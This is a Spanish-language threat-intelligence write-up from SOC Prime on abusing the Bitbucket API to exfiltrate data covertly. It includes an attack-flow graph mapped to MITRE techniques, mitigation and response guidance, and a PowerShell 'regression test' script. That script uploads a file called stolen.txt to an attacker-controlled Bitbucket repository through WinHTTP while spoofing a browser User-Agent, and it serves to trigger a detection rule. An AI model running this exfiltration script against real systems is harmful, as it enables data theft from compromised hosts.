SOC Prime Bias: Medium

06 Abr 2026 17:58

Abuso de la API de Bitbucket: Un Truco Simple para el Robo de Datos Sigiloso

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Abuso de la API de Bitbucket: Un Truco Simple para el Robo de Datos Sigiloso
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Esta prueba de concepto muestra cómo un pequeño programa en C puede abusar de la API de webhook de Bitbucket para exfiltrar telemetría del host desde un sistema Windows comprometido. Recopila detalles como el nombre del host, la versión del sistema operativo, información de la CPU y datos del adaptador de red, luego oculta el resultado dentro del campo de descripción de un webhook recién creado, mezclándose discretamente con el tráfico normal de la nube.

Investigación

El autor comparte el código fuente completo, los pasos de compilación y las solicitudes curl de ejemplo para crear, inspeccionar y eliminar el webhook utilizado para la fuga de extremo a extremo. El binario compilado se ejecutó en un host Windows 10 x64 22H2 en un entorno seguro de ANY.RUN y transmitió datos sin alertas evidentes. El artículo también menciona un abuso similar de plataformas de Git documentado en actividad reciente de APT.

Mitigación

Monitorear el tráfico HTTPS saliente hacia Bitbucket y otros hosts de código, y marcar llamadas a la API que creen webhooks inesperadamente o contengan texto de descripción extraño. Requerir autenticación fuerte, limitar y delimitar los tokens de API, aplicar el principio de privilegio mínimo y auditar regularmente los cambios en la configuración del repositorio.

Respuesta

Al detectar, bloquear el tráfico saliente de Bitbucket desde el host, revocar los tokens de API expuestos e inventariar webhooks en todos los repositorios para eliminar entradas maliciosas. Recopilar artefactos del punto final para forense, escanear en busca de cargas útiles de seguimiento y rotar credenciales para cuentas de CI/CD y desarrolladores.

"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Acción</b> – Recopilar información del sistema"] class action_collect action tech_sysinfo["<b>Técnica</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br/><b>Descripción</b>: Recopila detalles del host, como nombre del host, versión del sistema operativo, arquitectura de CPU, cantidad de procesadores, unidades lógicas y direcciones IP."] class tech_sysinfo technique tool_bitbucket["<b>Herramienta</b> – API REST de Bitbucket Cloud<br/><b>Método</b>: POST con nombre de usuario codificado en Base64:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Técnica</b> – <b>T1102.002 Servicio Web: Comunicación Bidireccional</b><br/><b>Descripción</b>: Utiliza una API de servicio web legítima para enviar y recibir datos."] class tech_webservice technique tech_exfil_repo["<b>Técnica</b> – <b>T1567.001 Exfiltración a través de Servicio Web: Exfiltración a Repositorio de Código</b><br/><b>Descripción</b>: Carga datos recopilados a un repositorio de alojamiento de código mediante la API del servicio."] class tech_exfil_repo technique tech_exfil_webhook["<b>Técnica</b> – <b>T1567.004 Exfiltración a través de Servicio Web: Exfiltración a través de Webhook</b><br/><b>Descripción</b>: Envía datos a través de un webhook configurado para transportar información fuera del entorno."] class tech_exfil_webhook technique tech_obfuscation["<b>Técnica</b> – <b>T1001.003 Ofuscación de Datos: Suplantación de Protocolo o Servicio</b><br/><b>Descripción</b>: Disfraza el tráfico malicioso como llamadas API normales a un servicio de confianza."] class tech_obfuscation technique %% Connections action_collect –>|utiliza| tech_sysinfo tech_sysinfo –>|proporciona datos a| tool_bitbucket tool_bitbucket –>|aprovecha| tech_webservice tool_bitbucket –>|crea webhook para| tech_exfil_repo tool_bitbucket –>|crea webhook para| tech_exfil_webhook tech_webservice –>|es ocultado por| tech_obfuscation tech_exfil_repo –>|exfiltra datos a través de| tech_obfuscation tech_exfil_webhook –>|exfiltra datos a través de| tech_obfuscation "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Línea Base debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    El adversario simulado ha obtenido un pequeño conjunto de datos (por ejemplo, C:tempstolen.txt) y desea exfiltrarlo a un repositorio privado de Bitbucket sin levantar sospechas. Para integrarse con herramientas de desarrollo legítimas, el atacante elige el objeto COM nativo WinHTTP (WinHttp.WinHttpRequest.5.1) porque está comúnmente presente en sistemas Windows e invoca directamente la WinHttpConnect and WinHttpSendRequest funciones que la regla de detección monitorea.

    1. Crear un archivo temporal que contenga datos de exfiltración ficticios.
    2. Instanciar el objeto COM de WinHTTP.
    3. Abrir una conexión POST a https://api.bitbucket.org/2.0/repositories/<equipo>/<repo>/src.
    4. Establecer encabezados apropiados (Autorización: Básica …, Content-Type: multipart/form-data).
    5. Enviar el contenido del archivo.
    6. Verificar la respuesta HTTP 200.

    Esta secuencia exacta causa que Sysmon registre un NetworkConnect evento donde el proceso is powershell.exe y la función cadena incluye WinHttpConnect and WinHttpSendRequest, satisfaciendo la regla Sigma.

  • Script de Prueba de Regresión:

    # --------------------------------------------------------------
    # Exfiltración API de Bitbucket a través de WinHTTP (Activar Regla Sigma)
    # --------------------------------------------------------------
    $tempFile   = "C:tempstolen.txt"
    $repoOwner  = "evilcorp"
    $repoName   = "leaked-data"
    $username   = "eviluser"
    $appPassword = "APPPASSWD"   # Base64 de "username:appPassword"
    $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword"))
    
    # 1. Crear datos ficticios si no están presentes
    if (-not (Test-Path $tempFile)) {
        "Datos sensibles recogidos por el adversario" | Set-Content -Path $tempFile -Encoding UTF8
    }
    
    # 2. Construir carga útil multipart/form-data
    $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)"
    $body = @"
    --$boundary
    Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)"
    Content-Type: application/octet-stream

$(Get-Content $tempFile -Raw) –$boundary– «@

# 3. Inicializar objeto COM de WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"

# 4. Abrir solicitud POST
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false)   # solicitud sincrónica

# 5. Establecer encabezados requeridos
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

# 6. Enviar carga útil (esto activa WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)

# 7. Salida del estado de respuesta para verificación
Write-Host "Estado HTTP:" $winHttp.Status
Write-Host "Cuerpo de Respuesta:" $winHttp.ResponseText
  • Comandos de Limpieza:

    # Eliminar archivo temporal
    Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue
    
    # Opcionalmente revocar manualmente la contraseña de la aplicación de Bitbucket a través de la interfaz web
    Write-Host "Limpieza completa. Recuerde eliminar el archivo subido del repositorio si es necesario."